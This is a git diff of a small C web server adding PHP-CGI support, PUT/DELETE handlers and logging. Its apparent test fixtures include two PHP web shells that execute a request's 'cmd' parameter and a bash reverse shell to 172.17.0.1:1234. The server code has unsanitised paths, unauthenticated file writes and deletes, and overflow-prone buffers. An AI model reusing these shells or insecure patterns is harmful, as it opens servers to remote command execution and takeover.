||||||
|
* to see if a php file is being requested
|
||||||
|
*/
|
||||||
|
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||||
|
char errResponse[256];
|
||||||
|
char ch;
|
||||||
|
size_t size = 8;
|
||||||
|
int i = 0;
|
||||||
|
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
|
||||||
|
FILE *fp;
|
||||||
|
char *workingReqDir;
|
||||||
|
|
||||||
|
// Checking for php extension
|
||||||
|
char *phpReturn = NULL;
|
||||||
|
char phpEnd[5] = ".php";
|
||||||
|
bool endsWithPhp = false;
|
||||||
|
if (strlen(phpEnd) <= strlen(r->requestDir)) {
|
||||||
|
for (int i = 0; i < strlen(phpEnd); i++) {
|
||||||
|
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
|
||||||
|
endsWithPhp = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
endsWithPhp = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (endsWithPhp) {
|
||||||
|
phpReturn = php_cgi(r->requestDir, r);
|
||||||
|
if (phpReturn != NULL) {
|
||||||
|
return returnPHPRequest(socket, phpReturn, ssl);
|
||||||
|
} else {
|
||||||
|
return return500Request(socket, ssl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// If requesting root directory change to index.html
|
||||||
|
if (!strcmp(r->requestDir, "/")) {
|
||||||
|
workingReqDir = "index.html";
|
||||||
|
} else {
|
||||||
|
workingReqDir = r->requestDir;
|
||||||
|
}
|
||||||
|
char *reqDir = calloc((strlen(WEB_ROOT_DIR) + strlen(workingReqDir) + 1), sizeof(char));
|
||||||
|
|
||||||
|
// Creating absolute path from web root
|
||||||
|
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
|
||||||
|
|
||||||
|
fp = fopen(reqDir, "r");
|
||||||
|
|
||||||
|
if (fp == NULL) {
|
||||||
|
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
||||||
|
printDebug(errResponse);
|
||||||
|
return404Request(socket, ssl);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
while((ch = fgetc(fp)) != EOF) {
|
||||||
|
if (i == size) {
|
||||||
|
size *= 2;
|
||||||
|
fileContent = realloc(fileContent, size);
|
||||||
|
}
|
||||||
|
fileContent[i] = ch;
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return200Request(socket, fileContent, ssl);
|
||||||
|
|
||||||
|
fclose(fp);
|
||||||
|
free(reqDir);
|
||||||
|
free(fileContent);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function handles all PUT requests and attempts to create
|
||||||
|
* a fill with the requested content at the web root plus passed path
|
||||||
|
*/
|
||||||
|
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||||
|
FILE *fp;
|
||||||
|
char *reqDir;
|
||||||
|
char * workingReqDir;
|
||||||
|
char errResponse[256];
|
||||||
|
|
||||||
|
if (!strcmp(r->requestDir, "/")) {
|
||||||
|
workingReqDir = "index.html";
|
||||||
|
} else {
|
||||||
|
workingReqDir = r->requestDir;
|
||||||
|
}
|
||||||
|
|
||||||
|
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
|
||||||
|
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
|
||||||
|
|
||||||
|
fp = fopen(reqDir, "w");
|
||||||
|
if (fp == NULL) {
|
||||||
|
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
||||||
|
printDebug(errResponse);
|
||||||
|
return return404Request(socket, ssl);
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(fp, "%s", r->requestBody);
|
||||||
|
|
||||||
|
free(reqDir);
|
||||||
|
fclose(fp);
|
||||||
|
return return201Request(socket, r->requestBody, ssl);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function handles all DELETE requests and attempts to delete
|
||||||
|
* the requested file
|
||||||
|
*/
|
||||||
|
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||||
|
char *reqDir;
|
||||||
|
char * workingReqDir;
|
||||||
|
char logLine[256];
|
||||||
|
|
||||||
|
if (!strcmp(r->requestDir, "/")) {
|
||||||
|
workingReqDir = "index.html";
|
||||||
|
} else {
|
||||||
|
workingReqDir = r->requestDir;
|
||||||
|
}
|
||||||
|
|
||||||
|
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
|
||||||
|
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
|
||||||
|
|
||||||
|
if (remove(reqDir) == 0) {
|
||||||
|
sprintf(logLine, "Deleted file");
|
||||||
|
free(reqDir);
|
||||||
|
return return200Request(socket, NULL, ssl);
|
||||||
|
} else {
|
||||||
|
printDebug("Failed to delete file");
|
||||||
|
free(reqDir);
|
||||||
|
if (errno == 1) { // Permission denided
|
||||||
|
return return403Request(socket, ssl);
|
||||||
|
} else { // Catch all (likely file != exist)
|
||||||
|
return return404Request(socket, ssl);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function handles all POST requests and checks to see
|
||||||
|
* if the file extension is .php
|
||||||
|
*/
|
||||||
|
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||||
|
char *phpReturn = NULL;
|
||||||
|
// Supported data types application/x-www-form-urlencoded application/json
|
||||||
|
if (r->requestConLen == NULL) { // Return 411 if length var not specified
|
||||||
|
printDebug("Content Length was not sent in POST request");
|
||||||
|
return return411Request(socket, ssl);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (r->requestConType != NULL) {
|
||||||
|
if (!(strcmp(r->requestConType, "application/x-www-form-utlencoded") == 0)) {
|
||||||
|
printDebug("Application From Selected");
|
||||||
|
} else {
|
||||||
|
printDebug("Content will likely get parsed wrong");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char phpEnd[5] = ".php";
|
||||||
|
bool endsWithPhp = false;
|
||||||
|
if (strlen(phpEnd) <= strlen(r->requestDir)) {
|
||||||
|
for (int i = 0; i < strlen(phpEnd); i++) {
|
||||||
|
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
|
||||||
|
endsWithPhp = false;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
endsWithPhp = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (endsWithPhp) {
|
||||||
|
phpReturn = php_cgi(r->requestDir, r);
|
||||||
|
if (phpReturn != NULL) {
|
||||||
|
return returnPHPRequest(socket, phpReturn, ssl);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return return200Request(socket, NULL, ssl);
|
||||||
|
}
|
||||||
|
return return500Request(socket, ssl);
|
||||||
|
}
|
||||||
|
|
||||||
@@ -6,6 +6,9 @@
|
|||||||
|
|
||||||
#include "server.h"
|
#include "server.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function returns the requested request's response data
|
||||||
|
*/
|
||||||
int returnRequest(int socket, char *message, int status, SSL *ssl) {
|
int returnRequest(int socket, char *message, int status, SSL *ssl) {
|
||||||
if ( enableHTTPS ) {
|
if ( enableHTTPS ) {
|
||||||
SSL_write(ssl, message, strlen(message));
|
SSL_write(ssl, message, strlen(message));
|
||||||
@@ -20,9 +23,9 @@ int returnRequest(int socket, char *message, int status, SSL *ssl) {
|
|||||||
|
|
||||||
int return200Request(int socket, unsigned char *content, SSL *ssl) {
|
int return200Request(int socket, unsigned char *content, SSL *ssl) {
|
||||||
char *message = "";
|
char *message = "";
|
||||||
if (content != NULL) {
|
if (content != NULL) { // If content is passed add it to the return string
|
||||||
message = calloc(strlen((char *)content) + 128, sizeof(char));
|
message = calloc(strlen((char *)content) + 128, sizeof(char));
|
||||||
sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nConnection: close\n\n%s\n",
|
sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nContent-Type: text/html\nConnection: close\n\n%s",
|
||||||
strlen((char *)content), content);
|
strlen((char *)content), content);
|
||||||
} else { // Sending empty response
|
} else { // Sending empty response
|
||||||
message = calloc(128, sizeof(char));
|
message = calloc(128, sizeof(char));
|
||||||
@@ -39,6 +42,12 @@ int return201Request(int socket, char *content, SSL *ssl) {
|
|||||||
return returnRequest(socket, message, 201, ssl);
|
return returnRequest(socket, message, 201, ssl);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int return400Request(int socket, SSL *ssl) {
|
||||||
|
char *message = calloc(128, sizeof(char));
|
||||||
|
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n");
|
||||||
|
return returnRequest(socket, message, 400, ssl);
|
||||||
|
}
|
||||||
|
|
||||||
int return403Request(int socket, SSL *ssl) {
|
int return403Request(int socket, SSL *ssl) {
|
||||||
char *message = calloc(128, sizeof(char));
|
char *message = calloc(128, sizeof(char));
|
||||||
sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n");
|
sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n");
|
||||||
@@ -47,14 +56,20 @@ int return403Request(int socket, SSL *ssl) {
|
|||||||
|
|
||||||
int return404Request(int socket, SSL *ssl) {
|
int return404Request(int socket, SSL *ssl) {
|
||||||
char *message = calloc(128, sizeof(char));
|
char *message = calloc(128, sizeof(char));
|
||||||
sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 12\nConnection: close\n\n404 Request\n\n");
|
sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 13\nConnection: close\n\n404 Request\n\n");
|
||||||
return returnRequest(socket, message, 404, ssl);
|
return returnRequest(socket, message, 404, ssl);
|
||||||
}
|
}
|
||||||
|
|
||||||
int return400Request(int socket, SSL *ssl) {
|
int return411Request(int socket, SSL *ssl) {
|
||||||
char *message = calloc(128, sizeof(char));
|
char *message = calloc(128, sizeof(char));
|
||||||
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n");
|
sprintf(message, "HTTP/1.1 411 Length Required\nContent-Length: 0\nConnection: close\n\n");
|
||||||
return returnRequest(socket, message, 400, ssl);
|
return returnRequest(socket, message, 411, ssl);
|
||||||
|
}
|
||||||
|
|
||||||
|
int return418Request(int socket, SSL *ssl) {
|
||||||
|
char *message=calloc(128, sizeof(char));
|
||||||
|
sprintf(message, "HTTP/1.1 418 I'm a teapot\nContent-Length: 0\nConnection: close\n\n");
|
||||||
|
return returnRequest(socket, message, 418, ssl);
|
||||||
}
|
}
|
||||||
|
|
||||||
int return500Request(int socket, SSL *ssl) {
|
int return500Request(int socket, SSL *ssl) {
|
||||||
@@ -74,3 +89,38 @@ int return505Request(int socket, SSL *ssl) {
|
|||||||
sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n");
|
sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n");
|
||||||
return returnRequest(socket, message, 505, ssl);
|
return returnRequest(socket, message, 505, ssl);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function delete the first line of php-cgi return data
|
||||||
|
* and passes the resulting text into return200Request
|
||||||
|
*/
|
||||||
|
int returnPHPRequest(int socket, char *content, SSL *ssl) {
|
||||||
|
char *message = malloc(1024);
|
||||||
|
memset(message, 0, 1024);
|
||||||
|
char *line = malloc(1024);
|
||||||
|
memset(line, 0, 1024);
|
||||||
|
char temp[1];
|
||||||
|
size_t lineNum = 0;
|
||||||
|
for (int i = 0; i <= strlen(content); i++) {
|
||||||
|
temp[0] = content[i];
|
||||||
|
if (((!strcmp(temp, "\n")) && (i != 0)) || (i == strlen(content))) {
|
||||||
|
if (lineNum != 0) {
|
||||||
|
strcat(message, line);
|
||||||
|
strcat(message, "\n");
|
||||||
|
}
|
||||||
|
if (strlen(line) > 0) {
|
||||||
|
memset(line, 0, strlen(line));
|
||||||
|
}
|
||||||
|
lineNum++;
|
||||||
|
} else {
|
||||||
|
strcat(line, temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(line);
|
||||||
|
if (strlen(message) == 0) { // Return 500 on error parsing
|
||||||
|
free(message);
|
||||||
|
return return500Request(socket, ssl);
|
||||||
|
}
|
||||||
|
return return200Request(socket, (unsigned char *)message, ssl);
|
||||||
|
}
|
||||||
|
|||||||
@@ -9,6 +9,11 @@
|
|||||||
|
|
||||||
#include "socketHelp.h"
|
#include "socketHelp.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function turns a IPv4 four byte octet into
|
||||||
|
* an unsigned 32 bit integer which can be used when
|
||||||
|
* opening new socket connections
|
||||||
|
*/
|
||||||
uint32_t addr2sin_addr(char *addr) {
|
uint32_t addr2sin_addr(char *addr) {
|
||||||
char *token;
|
char *token;
|
||||||
int i = 0;
|
int i = 0;
|
||||||
@@ -18,12 +23,12 @@ uint32_t addr2sin_addr(char *addr) {
|
|||||||
token = strtok(addr, ".");
|
token = strtok(addr, ".");
|
||||||
while(token != NULL) {
|
while(token != NULL) {
|
||||||
addrTempNum = strtoul(token, NULL,10);
|
addrTempNum = strtoul(token, NULL,10);
|
||||||
if ( addrTempNum > 255 ) {
|
if ( addrTempNum > 255 ) { // Check if octet is valid
|
||||||
printf("Invalid IP octet: %ld\n", addrTempNum);
|
printf("Invalid IP octet: %ld\n", addrTempNum);
|
||||||
|
|
||||||
free(token);
|
free(token);
|
||||||
return -1;
|
return -1;
|
||||||
}
|
} // Adding value to addr number
|
||||||
addrNum = addrNum + ( addrTempNum << (8*(3-i)) );
|
addrNum = addrNum + ( addrTempNum << (8*(3-i)) );
|
||||||
|
|
||||||
token = strtok(NULL, ".");
|
token = strtok(NULL, ".");
|
||||||
|
|||||||
129
src/utils.c
129
src/utils.c
@@ -1,6 +1,14 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <wait.h>
|
||||||
|
|
||||||
|
#include "server.h"
|
||||||
|
#include "httpStruct.h"
|
||||||
|
|
||||||
|
#define BUFF_READ 1024
|
||||||
|
|
||||||
#define NUM_SUPPORTED_VERSIONS 2
|
#define NUM_SUPPORTED_VERSIONS 2
|
||||||
static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
|
static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
|
||||||
@@ -8,17 +16,35 @@ static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
|
|||||||
"HTTP/1.0"
|
"HTTP/1.0"
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function prints logs to the screen if the web root is not absolute,
|
||||||
|
* if web root is /var/www/html then it is assumed to be running in service mode
|
||||||
|
* which means it prints logs to /var/log/seaweb/log
|
||||||
|
*/
|
||||||
int PrintLog(unsigned char *message) {
|
int PrintLog(unsigned char *message) {
|
||||||
time_t UTCTime;
|
time_t UTCTime;
|
||||||
// Setting time in EPOC
|
// Setting time in EPOC
|
||||||
time(&UTCTime);
|
time(&UTCTime);
|
||||||
struct tm *now = localtime(&UTCTime);
|
struct tm *now = localtime(&UTCTime);
|
||||||
|
|
||||||
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
|
if (!strcmp(WEB_ROOT_DIR, "/var/www/html/")) {
|
||||||
|
FILE *fp;
|
||||||
|
fp = fopen("/var/log/seaweb/log", "a");
|
||||||
|
fprintf(fp, "[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
|
||||||
|
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
|
||||||
|
fclose(fp);
|
||||||
|
} else {
|
||||||
|
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
|
||||||
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
|
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
|
||||||
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function checks to see if the requested http version
|
||||||
|
* is with 1.1 or 1.0
|
||||||
|
*/
|
||||||
int checkHTTPVersion(char *version) {
|
int checkHTTPVersion(char *version) {
|
||||||
int supported = -1; // Default fail state
|
int supported = -1; // Default fail state
|
||||||
char testVer[16];
|
char testVer[16];
|
||||||
@@ -30,3 +56,104 @@ int checkHTTPVersion(char *version) {
|
|||||||
}
|
}
|
||||||
return supported;
|
return supported;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* This function executes php-cgi requests and returns
|
||||||
|
* the response
|
||||||
|
*/
|
||||||
|
char *php_cgi(char *sPath, struct HTTPRequest *r) {
|
||||||
|
int phpPipe[2];
|
||||||
|
char *buf = NULL;
|
||||||
|
size_t bufLen = 1024;
|
||||||
|
|
||||||
|
buf = malloc(bufLen);
|
||||||
|
memset(buf, 0, bufLen);
|
||||||
|
pipe(phpPipe);
|
||||||
|
|
||||||
|
pid_t pid;
|
||||||
|
int status = 0;
|
||||||
|
pid = fork();
|
||||||
|
|
||||||
|
if (pid == 0) { // Child fork
|
||||||
|
char script[500];
|
||||||
|
char *queryString = NULL;
|
||||||
|
close(phpPipe[0]);
|
||||||
|
dup2(phpPipe[1], STDOUT_FILENO);
|
||||||
|
strcpy(script, "SCRIPT_FILENAME=");
|
||||||
|
strcat(script, WEB_ROOT_DIR);
|
||||||
|
strcat(script, sPath);
|
||||||
|
putenv("GATEWAY_INTERFACE=CGI/1.1");
|
||||||
|
putenv(script);
|
||||||
|
putenv("REDIRECT_STATUS=true");
|
||||||
|
putenv("SERVER_PROTOCOL=HTTP/1.1");
|
||||||
|
putenv("REMOTE_HOST=127.0.0.1");
|
||||||
|
if (!strcmp(r->requestType, "POST")) {
|
||||||
|
putenv("REQUEST_METHOD=POST");
|
||||||
|
char conLenString[256];
|
||||||
|
sprintf(conLenString, "CONTENT_LENGTH=%zu", r->requestBodyLen);
|
||||||
|
putenv(conLenString);
|
||||||
|
putenv("CONTENT_TYPE=application/x-www-form-urlencoded");
|
||||||
|
queryString = malloc(r->requestBodyLen + 24);
|
||||||
|
if (r->requestBodyLen != 0) {
|
||||||
|
sprintf(queryString, "QUERY_STRING=%s", r->requestBody);
|
||||||
|
} else {
|
||||||
|
sprintf(queryString, "QUERY_STRING=");
|
||||||
|
}
|
||||||
|
putenv(queryString);
|
||||||
|
|
||||||
|
// Starting fork to pipe stdin into php-cgi
|
||||||
|
int phpPipe2[2];
|
||||||
|
pipe(phpPipe2);
|
||||||
|
pid_t pid2;
|
||||||
|
pid2 = fork();
|
||||||
|
|
||||||
|
if (pid2 == 0) { // Child fork
|
||||||
|
close(phpPipe2[0]);
|
||||||
|
dup2(phpPipe2[1], STDOUT_FILENO);
|
||||||
|
printf("%s", r->requestBody);
|
||||||
|
close(phpPipe2[1]);
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
} else if (pid < 0) { // Error forking
|
||||||
|
printDebug("Error in stdin php frok");
|
||||||
|
} else { // Parent fork
|
||||||
|
close(phpPipe2[1]);
|
||||||
|
dup2(phpPipe2[0], STDIN_FILENO);
|
||||||
|
execl("/usr/bin/php-cgi", "php-cgi", NULL);
|
||||||
|
}
|
||||||
|
} else { // GET request handlers does not require second fork
|
||||||
|
putenv("REQUEST_METHOD=GET");
|
||||||
|
if (r->requestVars != NULL) {
|
||||||
|
queryString = malloc(strlen(r->requestVars) + 24);
|
||||||
|
sprintf(queryString, "QUERY_STRING=%s", r->requestVars);
|
||||||
|
} else {
|
||||||
|
queryString = malloc(24);
|
||||||
|
sprintf(queryString, "QUERY_STRING=");
|
||||||
|
}
|
||||||
|
putenv(queryString);
|
||||||
|
execl("/usr/bin/php-cgi", "php-cgi", NULL);
|
||||||
|
}
|
||||||
|
exit(EXIT_SUCCESS);
|
||||||
|
} else if (pid < 0) { // Error forking
|
||||||
|
printDebug("Error forking php exec");
|
||||||
|
} else { // Parent fork
|
||||||
|
size_t buffCount;
|
||||||
|
close(phpPipe[1]);
|
||||||
|
do {
|
||||||
|
waitpid(pid, &status, WUNTRACED);
|
||||||
|
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
|
||||||
|
do {
|
||||||
|
buffCount = read(phpPipe[0], buf, BUFF_READ);
|
||||||
|
if (strlen(buf) == bufLen) {
|
||||||
|
bufLen *= 2;
|
||||||
|
buf = realloc(buf, bufLen);
|
||||||
|
}
|
||||||
|
} while (buffCount == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
close(phpPipe[0]);
|
||||||
|
if (status != 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
|
||||||
|
|||||||
7
test_requests/cmd.php
Normal file
7
test_requests/cmd.php
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
$output=null;
|
||||||
|
$retval=null;
|
||||||
|
exec('whoami', $output, $retval);
|
||||||
|
print_r($output);
|
||||||
|
?>
|
||||||
|
|
||||||
7
test_requests/cmdGET.php
Normal file
7
test_requests/cmdGET.php
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
$output=null;
|
||||||
|
$retval=null;
|
||||||
|
exec($_GET['cmd'], $output, $retval);
|
||||||
|
print_r($output);
|
||||||
|
?>
|
||||||
|
|
||||||
7
test_requests/cmdPOST.php
Normal file
7
test_requests/cmdPOST.php
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
<?php
|
||||||
|
$output=null;
|
||||||
|
$retval=null;
|
||||||
|
exec($_POST['cmd'], $output, $retval);
|
||||||
|
print_r($output);
|
||||||
|
?>
|
||||||
|
|
||||||
10
test_requests/post_no_content_len.raw
Normal file
10
test_requests/post_no_content_len.raw
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
POST / HTTP/1.1
|
||||||
|
Host: localhost:8080
|
||||||
|
User-Agent: curl/7.81.0
|
||||||
|
Accept: */*
|
||||||
|
Referer: rbose
|
||||||
|
Content-Length: 40
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
name=linuxize&email=linuxize@example.com
|
||||||
|
|
||||||
3
test_requests/rcmd.php
Normal file
3
test_requests/rcmd.php
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
<?php
|
||||||
|
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
|
||||||
|
?>
|
||||||
Reference in New Issue
Block a user